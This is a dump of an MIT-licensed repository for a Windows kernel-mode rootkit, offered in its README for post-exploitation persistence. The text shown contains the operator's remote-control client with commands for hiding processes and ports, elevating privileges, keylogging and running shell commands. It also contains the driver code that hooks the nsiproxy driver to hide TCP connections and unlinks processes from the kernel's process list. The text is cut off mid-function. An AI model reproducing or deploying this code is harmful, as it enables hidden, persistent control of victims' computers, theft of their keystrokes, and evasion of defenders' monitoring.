├── LICENSE ├── README.md ├── rootkit_client ├── Server.cpp ├── Server.h ├── common.h └── main.cpp ├── rootkit_driver ├── AutoLock.h ├── FastMutex.cpp ├── FastMutex.h ├── Ioctl.h ├── Vector.h ├── hide_port.cpp ├── hide_port.h ├── ioctl_handlers.cpp ├── ioctl_handlers.h ├── rootkit.cpp └── token_info.h └── rootkit_dropper ├── Ioctl.h ├── common.cpp ├── common.h ├── d4drvif.h ├── driver_handler.cpp ├── driver_handler.h ├── keylog.cpp ├── keylog.h ├── main.cpp ├── network_handler.cpp └── network_handler.h /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Jokas 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Windows_RootKit 2 | A windows kernel-mode rootkit with remote control; 3 | Ideal Post-exploitation persistence on windows 4 | 5 | Uses DKOM and IRP Hooks. 6 | Hiding Processes, token manipulation , hiding tcp network connections by port 7 | 8 | ### Features 9 | - [x] Elevate Process privillages to NT AUTHORITY\SYSTEM by token manipulation 10 | - [x] Hide process by unlinking from ActiveProcessLinks 11 | - [x] Remote command execution 12 | - [x] A remote keylogger 13 | - [x] Dropper 14 | - [x] TCP connection hiding by port (IRP hooking) 15 | -------------------------------------------------------------------------------- /rootkit_client/Server.cpp: -------------------------------------------------------------------------------- 1 | #include "Server.h" 2 | Server::WrapWSA::WrapWSA() { 3 | WSAData wsaData; 4 | 5 | if (WSAStartup(MAKEWORD(2, 2), &wsaData)) { 6 | throw std::exception("Error on starting sockets"); 7 | } 8 | 9 | } 10 | void Server::WrapWSA::cleanup() { 11 | std::cout << "WSACleanup called\n"; 12 | WSACleanup(); 13 | } 14 | int Server::WrapWSA::getError() { 15 | return WSAGetLastError(); 16 | } 17 | 18 | bool Server::RootkitServer::init_listen_bind() { 19 | sockaddr_in addr; 20 | addr.sin_addr.s_addr = INADDR_ANY; 21 | addr.sin_family = AF_INET; 22 | addr.sin_port = htons(port_); 23 | 24 | int status = bind(socket_, static_cast(&addr), sizeof(addr)); 25 | 26 | if (status != 0) 27 | return false; 28 | 29 | status = listen(socket_, 1); 30 | 31 | if (status != 0) 32 | return false; 33 | 34 | return true; 35 | 36 | } 37 | 38 | Server::RootkitServer::RootkitServer(): port_(Server::SERVER_PORT){ 39 | wsa_=Server::WrapWSA(); 40 | socket_ = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 41 | 42 | 43 | if (socket_ == INVALID_SOCKET) 44 | throw std::exception("Couldn't open socket"); 45 | 46 | 47 | bool status = init_listen_bind(); 48 | 49 | 50 | if (!status) 51 | throw std::exception("couldn't listen/bind to port"); 52 | 53 | 54 | } 55 | 56 | Server::RootkitServer::~RootkitServer() { 57 | 58 | std::cout << "closing socket.\n"; 59 | 60 | closesocket(socket_); 61 | closesocket(client_socket_); 62 | wsa_.cleanup(); 63 | } 64 | 65 | bool Server::RootkitServer::Accept() { 66 | 67 | client_socket_ = INVALID_SOCKET; 68 | 69 | // Accept a client socket 70 | client_socket_ = accept(socket_, NULL, NULL); 71 | 72 | if (client_socket_ == INVALID_SOCKET) 73 | return false; 74 | 75 | return true; 76 | } 77 | 78 | bool Server::RootkitServer::ReceiveText(std::string& text) { 79 | 80 | char recived_buffer[MAX_PACKET_SIZE]{0}; 81 | 82 | int bytes_recived = recv(client_socket_, recived_buffer, MAX_PACKET_SIZE, 0); 83 | 84 | if (bytes_recived == SOCKET_ERROR) { 85 | std::cout << "SOCKET ERROR! errorcode:"; 86 | std::cout << wsa_.getError() << "\n"; 87 | return false; 88 | } 89 | 90 | text += recived_buffer; 91 | 92 | return text.size(); 93 | } 94 | 95 | 96 | bool Server::RootkitServer::SendText(std::string& text) { 97 | 98 | int bytes_recived = send(client_socket_, text.c_str(), text.size(), 0); 99 | 100 | if (bytes_recived == SOCKET_ERROR) { 101 | std::cout << "SOCKET ERROR! errorcode:"; 102 | std::cout << wsa_.getError() << "\n"; 103 | return false; 104 | } 105 | 106 | return true; 107 | } 108 | 109 | -------------------------------------------------------------------------------- /rootkit_client/Server.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "common.h" 3 | 4 | namespace Server { 5 | constexpr unsigned short SERVER_PORT = 9001; 6 | constexpr unsigned int MAX_PACKET_SIZE = 1024; 7 | 8 | class WrapWSA { 9 | public: 10 | WrapWSA(); 11 | void cleanup(); 12 | int getError(); 13 | }; 14 | 15 | class RootkitServer { 16 | private: 17 | WrapWSA wsa_; 18 | unsigned short port_; 19 | SOCKET socket_; 20 | SOCKET client_socket_; 21 | bool init_listen_bind(); 22 | public: 23 | RootkitServer(); 24 | ~RootkitServer(); 25 | bool SendText(std::string& text); 26 | bool ReceiveText(std::string& text); 27 | bool Accept(); 28 | }; 29 | 30 | } 31 | -------------------------------------------------------------------------------- /rootkit_client/common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | #define WIN32_LEAN_AND_MEAN 6 | #include 7 | #include 8 | #include 9 | #pragma comment(lib, "Ws2_32.lib") 10 | -------------------------------------------------------------------------------- /rootkit_client/main.cpp: -------------------------------------------------------------------------------- 1 | #include "Server.h" 2 | #include "common.h" 3 | #include 4 | #include 5 | 6 | void printMenu(); 7 | void awaitCommand(Server::RootkitServer& server); 8 | 9 | int main(int argc,char* argv[]) { 10 | 11 | std::cout <>" << std::flush; 50 | std::string command; 51 | std::cin >> command; 52 | 53 | 54 | if (command == "$testConnection") { 55 | std::cout << "[+] Enter a message you would like to send to the kernel\n"; 56 | std::cout << ">>" << std::flush; 57 | std::cin >> command; 58 | 59 | bool status = server.SendText("$testConnection " + command); 60 | 61 | if (!status) 62 | return; 63 | 64 | std::string input; 65 | 66 | status = server.ReceiveText(input); 67 | if (!status) 68 | return; 69 | 70 | std::cout << input << "\n"; 71 | } 72 | else if (command == "$hideProcess") { 73 | std::cout << "[+] Enter the pid of a process you would like to hide\n"; 74 | std::cout << ">>" << std::flush; 75 | std::cin >> command; 76 | 77 | bool status = server.SendText("$hideProcess " + command); 78 | 79 | if (!status) 80 | return; 81 | 82 | std::string input; 83 | 84 | status = server.ReceiveText(input); 85 | if (!status) 86 | return; 87 | 88 | std::cout << input << "\n"; 89 | } 90 | else if (command == "$hidePort") { 91 | std::cout << "[+] Enter the port you would like to hide\n"; 92 | std::cout << ">>" << std::flush; 93 | std::cin >> command; 94 | 95 | bool status = server.SendText("$hidePort " + command); 96 | 97 | if (!status) 98 | return; 99 | 100 | std::string input; 101 | 102 | status = server.ReceiveText(input); 103 | if (!status) 104 | return; 105 | 106 | std::cout << input << "\n"; 107 | } 108 | else if (command == "$elevateProcess") { 109 | std::cout << "[+] Enter the pid of a process whose privilages you would like to elevate\n"; 110 | std::cout << ">>" << std::flush; 111 | std::cin >> command; 112 | 113 | bool status = server.SendText("$elevateProcess " + command); 114 | 115 | if (!status) 116 | return; 117 | 118 | std::string input; 119 | 120 | status = server.ReceiveText(input); 121 | if (!status) 122 | return; 123 | 124 | std::cout << input << "\n"; 125 | } 126 | else if (command == "$keylogger") { 127 | 128 | bool status = server.SendText("$keylogger"); 129 | 130 | if (!status) 131 | return; 132 | 133 | std::string input; 134 | 135 | status = server.ReceiveText(input); 136 | if (!status) 137 | return; 138 | 139 | std::cout << "[+] keylogger input saved in keylog.txt\n"; 140 | std::ofstream logfile("keylog.txt", std::ios::app); 141 | logfile << input; 142 | logfile.close(); 143 | } 144 | else if (command == "$shellExecute") { 145 | std::cout << "[+] Enter the command you would like to execute\n"; 146 | std::cout << ">>" << std::flush; 147 | std::getline(std::cin >> std::ws, command); 148 | 149 | std::cout << command <<'\n'; 150 | 151 | bool status = server.SendText("$shellExecute " + command); 152 | 153 | if (!status) 154 | return; 155 | 156 | std::string input; 157 | 158 | status = server.ReceiveText(input); 159 | if (!status) 160 | return; 161 | 162 | std::cout << input << "\n"; 163 | } 164 | else if (command == "$help") { 165 | printMenu(); 166 | } 167 | else if (command == "$exit") { 168 | server.SendText("$exit"); 169 | break; 170 | } 171 | else { 172 | std::cout << "command not recognized! try again\n\n"; 173 | } 174 | 175 | } 176 | } 177 | void printMenu() { 178 | std::cout << "[+] list of commands:\n\n"; 179 | 180 | std::cout << "$testConnection - test connection with driver\n"; 181 | std::cout << "$hideProcess - hide a process by pid\n"; 182 | std::cout << "$hidePort - hide a TCP connection by port\n"; 183 | std::cout << "$elevateProcess - elevate privilages of a process by pid\n"; 184 | std::cout << "$keylogger - get recent keylogger output\n"; 185 | std::cout << "$shellExecute - execute a shell command\n"; 186 | std::cout << "$help - print this menu\n"; 187 | std::cout << "$exit - end connection with rootkit and exit\n\n"; 188 | } 189 | 190 | -------------------------------------------------------------------------------- /rootkit_driver/AutoLock.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | template 5 | struct AutoLock { 6 | AutoLock(TLock& lock) : lock_(lock) { 7 | lock_.Lock(); 8 | } 9 | 10 | ~AutoLock() { 11 | lock_.Unlock(); 12 | } 13 | 14 | private: 15 | TLock& lock_; 16 | }; 17 | -------------------------------------------------------------------------------- /rootkit_driver/FastMutex.cpp: -------------------------------------------------------------------------------- 1 | #include "FastMutex.h" 2 | 3 | void FastMutex::Init() { 4 | ExInitializeFastMutex(&mutex_); 5 | } 6 | 7 | void FastMutex::Lock() { 8 | ExAcquireFastMutex(&mutex_); 9 | } 10 | 11 | void FastMutex::Unlock() { 12 | ExReleaseFastMutex(&mutex_); 13 | } 14 | -------------------------------------------------------------------------------- /rootkit_driver/FastMutex.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | class FastMutex { 5 | public: 6 | void Init(); 7 | void Lock(); 8 | void Unlock(); 9 | 10 | private: 11 | FAST_MUTEX mutex_; 12 | }; 13 | -------------------------------------------------------------------------------- /rootkit_driver/Ioctl.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | constexpr int ROOTKIT_DEVICE = 0x8000; 4 | 5 | enum class RookitIoctls { 6 | HideProcces = CTL_CODE(ROOTKIT_DEVICE, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS), 7 | TestConnection = CTL_CODE(ROOTKIT_DEVICE, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS), 8 | Elevate = CTL_CODE(ROOTKIT_DEVICE, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS), 9 | HidePort = CTL_CODE(ROOTKIT_DEVICE, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS) 10 | }; -------------------------------------------------------------------------------- /rootkit_driver/Vector.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "FastMutex.h" 4 | #include "AutoLock.h" 5 | 6 | 7 | template 8 | class vector { 9 | 10 | T* ptr_; 11 | int capacity_; 12 | int current_capacity_; 13 | FastMutex mutex_; 14 | 15 | public: 16 | vector(): 17 | capacity_(1), 18 | current_capacity_(0), 19 | ptr_(static_cast(ExAllocatePool(PagedPool, sizeof(T) * 1))) 20 | { 21 | mutex_.Init(); 22 | } 23 | 24 | ~vector() { 25 | ExFreePool(ptr_); 26 | } 27 | 28 | void push_back(const T& data) { 29 | AutoLock locker(mutex_); 30 | 31 | // if the number of elements is equal to the max capacity 32 | if (current_capacity_ == capacity_) { 33 | T* temp = static_cast(ExAllocatePool(PagedPool, sizeof(T) * 2 * capacity_)); 34 | 35 | // copying old array elements to new array 36 | for (int i = 0; i < capacity_; i++) { 37 | temp[i] = ptr_[i]; 38 | } 39 | 40 | // deleting previous array 41 | ExFreePool(ptr_); 42 | capacity_ *= 2; 43 | ptr_ = temp; 44 | } 45 | 46 | // Inserting data 47 | ptr_[current_capacity_] = data; 48 | current_capacity_++; 49 | } 50 | 51 | void pop() 52 | { 53 | AutoLock locker(mutex_); 54 | current_capacity_--; 55 | } 56 | 57 | int size() 58 | { 59 | AutoLock locker(mutex_); 60 | return current_capacity_; 61 | } 62 | 63 | void* operator new(size_t size) { 64 | KdPrint(("Vector operator new\n")); 65 | return ExAllocatePool(PagedPool, size); 66 | } 67 | 68 | void operator delete(void* ptr) { 69 | KdPrint(("Vector operator delete\n")); 70 | ExFreePool(ptr); 71 | } 72 | 73 | T& operator[](int i) { 74 | AutoLock locker(mutex_); 75 | return ptr_[i]; 76 | } 77 | 78 | T* begin() { 79 | AutoLock locker(mutex_); 80 | return ptr_; 81 | } 82 | 83 | T* end() { 84 | AutoLock locker(mutex_); 85 | return ptr_ + current_capacity_; 86 | } 87 | 88 | bool contains(const T& data) 89 | { 90 | AutoLock locker(mutex_); 91 | 92 | for (const auto& item : *this) 93 | if (item == data) 94 | return true; 95 | 96 | return false; 97 | 98 | } 99 | 100 | vector& operator=(vector& rhs) { 101 | capacity_ = rhs.capacity_; 102 | current_capacity_ = rhs.current_capacity_; 103 | 104 | ExFreePool(ptr_); 105 | 106 | ptr_ = static_cast(ExAllocatePool(PagedPool, sizeof(T) * capacity_)); 107 | 108 | for (int i = 0; i < rhs.current_capacity_; i++) 109 | ptr_[i] = rhs[i]; 110 | return *this; 111 | } 112 | 113 | vector& operator=(vector&& rhs) { 114 | capacity_ = rhs.current_capacity_; 115 | current_capacity_ = rhs.current_capacity_; 116 | 117 | ExFreePool(ptr_); 118 | 119 | ptr_ = rhs.ptr_; 120 | 121 | rhs.ptr_ = nullptr; 122 | rhs.capacity_ = 0; 123 | rhs.current_capacity_ = 0; 124 | 125 | return *this; 126 | } 127 | 128 | vector(vector& rhs) { 129 | capacity_ = rhs.capacity_; 130 | current_capacity_ = rhs.current_capacity_; 131 | ptr_ = static_cast(ExAllocatePool(PagedPool, sizeof(T) * capacity_)); 132 | 133 | for (int i = 0; i < rhs.current_capacity_; i++) 134 | ptr_[i] = rhs[i]; 135 | } 136 | 137 | vector(vector&& rhs) { 138 | capacity_ = rhs.capacity_; 139 | current_capacity_ = rhs.current_capacity_; 140 | ptr_ = rhs.ptr_; 141 | 142 | rhs.ptr_ = nullptr; 143 | rhs.capacity_ = 0; 144 | rhs.current_capacity_ = 0; 145 | } 146 | }; 147 | -------------------------------------------------------------------------------- /rootkit_driver/hide_port.cpp: -------------------------------------------------------------------------------- 1 | #include "hide_port.h" 2 | 3 | PDRIVER_OBJECT NetHook::pNsi_driver_object = nullptr; 4 | PDRIVER_DISPATCH NetHook::original_nsi_device_io = nullptr; 5 | vector* NetHook::hidden_ports = nullptr; 6 | 7 | USHORT NetHook::htons(USHORT a) 8 | { 9 | USHORT b = a; 10 | b = (b << 8); 11 | a = (a >> 8); 12 | return (a | b); 13 | } 14 | 15 | NTSTATUS NetHook::hookedCompletion( 16 | IN PDEVICE_OBJECT DeviceObject, 17 | IN PIRP Irp, 18 | IN PVOID Context 19 | ) 20 | { 21 | NTSTATUS status = STATUS_SUCCESS; 22 | PIO_STACK_LOCATION next_irp_loc = IoGetNextIrpStackLocation(Irp); 23 | PHP_CONTEXT pCtx = static_cast(Context); 24 | PNSI_PARAM nsi_param; 25 | int i; 26 | 27 | if (NT_SUCCESS(Irp->IoStatus.Status)) 28 | { 29 | 30 | nsi_param = static_cast(Irp->UserBuffer); 31 | if (MmIsAddressValid(nsi_param->lpMem)) 32 | { 33 | 34 | // netstat will involve internal calls which will use 35 | // nsi_param structure 36 | if ((nsi_param->UnknownParam8 == 0x38)) 37 | { 38 | KAPC_STATE apc_state; 39 | PNSI_STATUS_ENTRY pStatusEntry = static_cast(nsi_param->lpStatus); 40 | PINTERNAL_TCP_TABLE_ENTRY pTcpEntry = static_cast(nsi_param->lpMem); 41 | int item_count = nsi_param->TcpConnCount; 42 | 43 | 44 | KeStackAttachProcess(pCtx->pcb, &apc_state); 45 | 46 | 47 | //make sure we are in the context of original process 48 | for (i = 0; i < item_count; i++) 49 | { 50 | 51 | if (hidden_ports->contains(pTcpEntry[i].localEntry.Port)) 52 | { 53 | 54 | //NSI will map status array entry to tcp table array entry 55 | //we must modify both synchronously 56 | RtlCopyMemory(&pTcpEntry[i], &pTcpEntry[i + 1], sizeof(INTERNAL_TCP_TABLE_ENTRY) * (item_count - i)); 57 | RtlCopyMemory(&pStatusEntry[i], &pStatusEntry[i + 1], sizeof(NSI_STATUS_ENTRY) * (item_count - i)); 58 | item_count--; 59 | nsi_param->TcpConnCount--; 60 | i--; 61 | 62 | 63 | 64 | } 65 | } 66 | 67 | KeUnstackDetachProcess(&apc_state); 68 | 69 | } 70 | 71 | 72 | } 73 | 74 | } 75 | 76 | next_irp_loc->Context = pCtx->oldCtx; 77 | next_irp_loc->CompletionRoutine = pCtx->oldIocomplete; 78 | 79 | 80 | if (pCtx->bShouldInvolve) 81 | status = next_irp_loc->CompletionRoutine(DeviceObject, Irp, Context); 82 | else if (Irp->PendingReturned) 83 | IoMarkIrpPending(Irp); 84 | 85 | //free the fake context 86 | ExFreePool(Context); 87 | 88 | return status; 89 | 90 | 91 | } 92 | 93 | NTSTATUS NetHook::hookedDeviceIoControl( 94 | IN PDEVICE_OBJECT DeviceObject, 95 | IN PIRP Irp 96 | ) 97 | { 98 | ULONG io_control_code; 99 | PIO_STACK_LOCATION irp_stack; 100 | ULONG status; 101 | 102 | irp_stack = IoGetCurrentIrpStackLocation(Irp); 103 | 104 | io_control_code = irp_stack->Parameters.DeviceIoControl.IoControlCode; 105 | 106 | if (IOCTL_NSI_GETALLPARAM == io_control_code) 107 | { 108 | if (irp_stack->Parameters.DeviceIoControl.InputBufferLength == sizeof(NSI_PARAM)) 109 | { 110 | //if call is relevent hook the CompletionRoutine 111 | PHP_CONTEXT ctx = static_cast(ExAllocatePool(NonPagedPool, sizeof(HP_CONTEXT))); 112 | ctx->oldIocomplete = irp_stack->CompletionRoutine; 113 | ctx->oldCtx = irp_stack->Context; 114 | irp_stack->CompletionRoutine = hookedCompletion; 115 | irp_stack->Context = ctx; 116 | ctx->pcb = IoGetCurrentProcess(); 117 | 118 | if ((irp_stack->Control & SL_INVOKE_ON_SUCCESS) == SL_INVOKE_ON_SUCCESS) 119 | ctx->bShouldInvolve = TRUE; 120 | else 121 | ctx->bShouldInvolve = FALSE; 122 | irp_stack->Control |= SL_INVOKE_ON_SUCCESS; 123 | 124 | 125 | } 126 | 127 | 128 | 129 | } 130 | 131 | //call the original DeviceIoControl func 132 | status = original_nsi_device_io(DeviceObject, Irp); 133 | 134 | return status; 135 | 136 | } 137 | 138 | 139 | NTSTATUS NetHook::initNsiHook() { 140 | 141 | NTSTATUS status; 142 | UNICODE_STRING nsi_driver_name; 143 | 144 | 145 | RtlInitUnicodeString(&nsi_driver_name, L"\\Driver\\nsiproxy"); 146 | 147 | status = ObReferenceObjectByName(&nsi_driver_name, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL, reinterpret_cast(&pNsi_driver_object)); 148 | 149 | if (!NT_SUCCESS(status)) 150 | { 151 | KdPrint(("Port_Hide: Failed to find nsiproxy (0x%08X)\n", status)); 152 | return STATUS_SUCCESS; 153 | 154 | } 155 | 156 | //initialize global ptr to hidden ports vector 157 | hidden_ports = new vector; 158 | 159 | //save the original device control function of the nsiproxy driver 160 | original_nsi_device_io = pNsi_driver_object->MajorFunction[IRP_MJ_DEVICE_CONTROL]; 161 | 162 | //perform IRP hook 163 | InterlockedExchange(reinterpret_cast(&(pNsi_driver_object->MajorFunction[IRP_MJ_DEVICE_CONTROL])), reinterpret_cast(hookedDeviceIoControl)); 164 | 165 | return status; 166 | } 167 | 168 | void NetHook::unhookNsiProxy() { 169 | 170 | //undo hook 171 | InterlockedExchange(reinterpret_cast(&(pNsi_driver_object->MajorFunction[IRP_MJ_DEVICE_CONTROL])), reinterpret_cast(original_nsi_device_io)); 172 | KdPrint(("Port_Hide: original DeviceControl func restored \n")); 173 | 174 | //decrease reference count of hooked driver 175 | ObDereferenceObject(pNsi_driver_object); 176 | 177 | //sleep after removing IRP hooks 178 | //to make sure all handlers are done 179 | LARGE_INTEGER wait_time; 180 | wait_time.QuadPart = -50 * 1000 * 1000; 181 | KeDelayExecutionThread(KernelMode, 0, &wait_time); 182 | 183 | //free the hidden ports vector 184 | delete hidden_ports; 185 | } 186 | -------------------------------------------------------------------------------- /rootkit_driver/hide_port.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "Vector.h" 4 | 5 | namespace NetHook { 6 | USHORT htons(USHORT a); 7 | 8 | NTSTATUS initNsiHook(); 9 | 10 | NTSTATUS hookedCompletion( 11 | IN PDEVICE_OBJECT DeviceObject, 12 | IN PIRP Irp, 13 | IN PVOID Context 14 | ); 15 | 16 | NTSTATUS hookedDeviceIoControl( 17 | IN PDEVICE_OBJECT DeviceObject, 18 | IN PIRP Irp 19 | ); 20 | 21 | void unhookNsiProxy(); 22 | 23 | extern "C" NTSYSAPI NTSTATUS NTAPI ObReferenceObjectByName( 24 | PUNICODE_STRING ObjectName, 25 | ULONG Attributes, 26 | PACCESS_STATE AccessState, 27 | ACCESS_MASK DesiredAccess, 28 | POBJECT_TYPE ObjectType, 29 | KPROCESSOR_MODE AccessMode, 30 | PVOID ParseContext OPTIONAL, 31 | PVOID * Object 32 | ); 33 | 34 | extern "C" POBJECT_TYPE * IoDriverObjectType; 35 | 36 | constexpr ULONG IOCTL_NSI_GETALLPARAM = 0x12001B; 37 | 38 | 39 | extern PDRIVER_OBJECT pNsi_driver_object; 40 | extern PDRIVER_DISPATCH original_nsi_device_io; 41 | extern vector* hidden_ports; 42 | 43 | typedef unsigned long DWORD; 44 | 45 | typedef struct _HP_CONTEXT 46 | { 47 | PIO_COMPLETION_ROUTINE oldIocomplete; 48 | PVOID oldCtx; 49 | BOOLEAN bShouldInvolve; 50 | PKPROCESS pcb; 51 | }HP_CONTEXT, * PHP_CONTEXT; 52 | 53 | typedef struct _INTERNAL_TCP_TABLE_SUBENTRY 54 | { 55 | char bytesfill0[2]; 56 | USHORT Port; 57 | DWORD dwIP; 58 | char bytesfill[20]; 59 | 60 | }INTERNAL_TCP_TABLE_SUBENTRY, * PINTERNAL_TCP_TABLE_SUBENTRY; 61 | 62 | typedef struct _INTERNAL_TCP_TABLE_ENTRY 63 | { 64 | INTERNAL_TCP_TABLE_SUBENTRY localEntry; 65 | INTERNAL_TCP_TABLE_SUBENTRY remoteEntry; 66 | 67 | }INTERNAL_TCP_TABLE_ENTRY, * PINTERNAL_TCP_TABLE_ENTRY; 68 | 69 | typedef struct _NSI_STATUS_ENTRY 70 | { 71 | char bytesfill[12]; 72 | 73 | }NSI_STATUS_ENTRY, * PNSI_STATUS_ENTRY; 74 | 75 | typedef struct _NSI_PARAM 76 | { 77 | 78 | DWORD UnknownParam1; 79 | DWORD UnknownParam2; 80 | DWORD UnknownParam3; 81 | DWORD UnknownParam4; 82 | DWORD UnknownParam5; 83 | DWORD UnknownParam6; 84 | PVOID lpMem; 85 | DWORD UnknownParam8; 86 | DWORD UnknownParam9; 87 | DWORD UnknownParam10; 88 | PNSI_STATUS_ENTRY lpStatus; 89 | DWORD UnknownParam12; 90 | DWORD UnknownParam13; 91 | DWORD UnknownParam14; 92 | DWORD TcpConnCount; 93 | 94 | 95 | }NSI_PARAM, * PNSI_PARAM; 96 | 97 | } 98 | 99 | -------------------------------------------------------------------------------- /rootkit_driver/ioctl_handlers.cpp: -------------------------------------------------------------------------------- 1 | #include "ioctl_handlers.h" 2 | #include 3 | #include "token_info.h" 4 | #include "hide_port.h" 5 | 6 | static NTSTATUS UnlinkActiveProcessLinks(ULONG pid); 7 | static NTSTATUS ElevateByPid(ULONG pid); 8 | static NTSTATUS IntegerFromIrp(PIRP Irp, PULONG ret); 9 | 10 | 11 | NTSTATUS IoctlHandlers::HandleElevate(PIRP Irp) { 12 | 13 | NTSTATUS status = STATUS_SUCCESS; 14 | ULONG pid; 15 | 16 | KdPrint(("Elevate: recived Elevate ioctl\n")); 17 | 18 | status = IntegerFromIrp(Irp, &pid); 19 | 20 | if (!NT_SUCCESS(status)) { 21 | Irp->IoStatus.Information = 0; 22 | return status; 23 | } 24 | 25 | KdPrint(("Elevate: Recieved process id: %d \n", pid)); 26 | 27 | 28 | //elevate process privilages to NT AUTHORITY\SYSTEM 29 | status = ElevateByPid(pid); 30 | 31 | Irp->IoStatus.Information = 0; 32 | Irp->IoStatus.Status = status; 33 | 34 | return status; 35 | 36 | } 37 | NTSTATUS IoctlHandlers::HandleHideProcess(PIRP Irp) { 38 | 39 | NTSTATUS status = STATUS_SUCCESS; 40 | ULONG pid; 41 | 42 | KdPrint(("Rootkit: recived HideProcess\n")); 43 | 44 | status = IntegerFromIrp(Irp, &pid); 45 | 46 | if (!NT_SUCCESS(status)) { 47 | Irp->IoStatus.Information = 0; 48 | return status; 49 | } 50 | 51 | KdPrint(("HideProc: Recieved process id: %d \n", pid)); 52 | 53 | //manipulate ActiveProcessLinks to hide process 54 | status = UnlinkActiveProcessLinks(pid); 55 | 56 | Irp->IoStatus.Information = 0; 57 | Irp->IoStatus.Status = status; 58 | 59 | return status; 60 | } 61 | 62 | NTSTATUS IoctlHandlers::HandleHidePort(PIRP Irp) { 63 | NTSTATUS status = STATUS_SUCCESS; 64 | ULONG port; 65 | 66 | status = IntegerFromIrp(Irp, &port); 67 | 68 | if (!NT_SUCCESS(status)) { 69 | Irp->IoStatus.Information = 0; 70 | return status; 71 | } 72 | 73 | //add the desired port to the vector of hidden ports 74 | NetHook::hidden_ports->push_back(NetHook::htons(static_cast(port))); 75 | 76 | Irp->IoStatus.Status = status; 77 | Irp->IoStatus.Information = 0; 78 | return status; 79 | } 80 | 81 | 82 | NTSTATUS IoctlHandlers::HandleTestConnection(PIRP Irp, ULONG bufferSize) { 83 | 84 | NTSTATUS status; 85 | 86 | char* inputBuf = static_cast(Irp->AssociatedIrp.SystemBuffer); 87 | char* outputBuf = static_cast(Irp->AssociatedIrp.SystemBuffer); 88 | 89 | KdPrint(("TEST_CONN-got input: %s\n", inputBuf)); 90 | 91 | char* outputPrefix = "hello from kernel mode :-) recived input-"; 92 | 93 | //return "STATUS_BUFFER_TOO_SMALL" if return buffer length is too small 94 | if (bufferSize < (strlen(inputBuf) + strlen(outputPrefix) + 1)) { 95 | 96 | KdPrint(("TEST_CONN-ouput buffer too small.\n")); 97 | status = STATUS_BUFFER_TOO_SMALL; 98 | Irp->IoStatus.Information = 0; 99 | 100 | } 101 | 102 | else { 103 | 104 | //init a buffer from paged pool 105 | char* readBuf = reinterpret_cast(ExAllocatePool(PagedPool, 1024)); 106 | RtlZeroMemory(readBuf, 1024); 107 | 108 | //set the buffer to prefix ("hello from kernel mode...") + user input 109 | RtlStringCbCatA(readBuf, bufferSize, outputPrefix); 110 | RtlStringCbCatA(readBuf, bufferSize - strlen(outputPrefix) - 1, outputBuf); 111 | 112 | //copy the memory to the output buffer 113 | RtlCopyMemory(outputBuf, readBuf, strlen(readBuf) + 1); 114 | 115 | //free the paged pool buffer 116 | ExFreePool(readBuf); 117 | 118 | KdPrint(("TEST_CONN-sending to usermode %s\n", outputBuf)); 119 | status = STATUS_SUCCESS; 120 | Irp->IoStatus.Information = strlen(outputBuf) + 1; 121 | } 122 | 123 | 124 | Irp->IoStatus.Status = status; 125 | return status; 126 | } 127 | 128 | 129 | static NTSTATUS UnlinkActiveProcessLinks(ULONG pid) { 130 | NTSTATUS status; 131 | PEPROCESS EProc; 132 | PLIST_ENTRY PrevListEntry, NextListEntry, CurrListEntry; 133 | 134 | 135 | //get EPROCESS structure 136 | status = PsLookupProcessByProcessId((HANDLE)pid, &EProc); 137 | 138 | if (!NT_SUCCESS(status)) { 139 | KdPrint(("HIDE_PROC: Failed to locate process by pid. code: (0x%08X)\n", status)); 140 | return status; 141 | } 142 | 143 | KdPrint(("HIDE_PROC: EPROCESS struct addr: 0x%08X\n", EProc)); 144 | 145 | PULONG procPtr = reinterpret_cast(EProc); 146 | 147 | CurrListEntry = nullptr; 148 | 149 | //scan the structure for the PID field. 150 | for (ULONG i = 0; i < 0x2bc; i++) 151 | { 152 | if (procPtr[i] == pid) 153 | { 154 | //calculate ActiveProcessLinks (located near PID) 155 | CurrListEntry = reinterpret_cast(&procPtr[i + 1]); 156 | KdPrint(("HIDE_PROC: LIST_ENTRY struct at: 0x%08X\n", CurrListEntry)); 157 | break; 158 | } 159 | } 160 | 161 | if (!CurrListEntry) 162 | return STATUS_UNSUCCESSFUL; 163 | 164 | PrevListEntry = CurrListEntry->Blink; 165 | NextListEntry = CurrListEntry->Flink; 166 | 167 | // unlink target process from processes near in linked list 168 | 169 | PrevListEntry->Flink = CurrListEntry->Flink; 170 | NextListEntry->Blink = CurrListEntry->Blink; 171 | 172 | // Point Flink and Blink to self 173 | 174 | CurrListEntry->Flink = CurrListEntry; 175 | 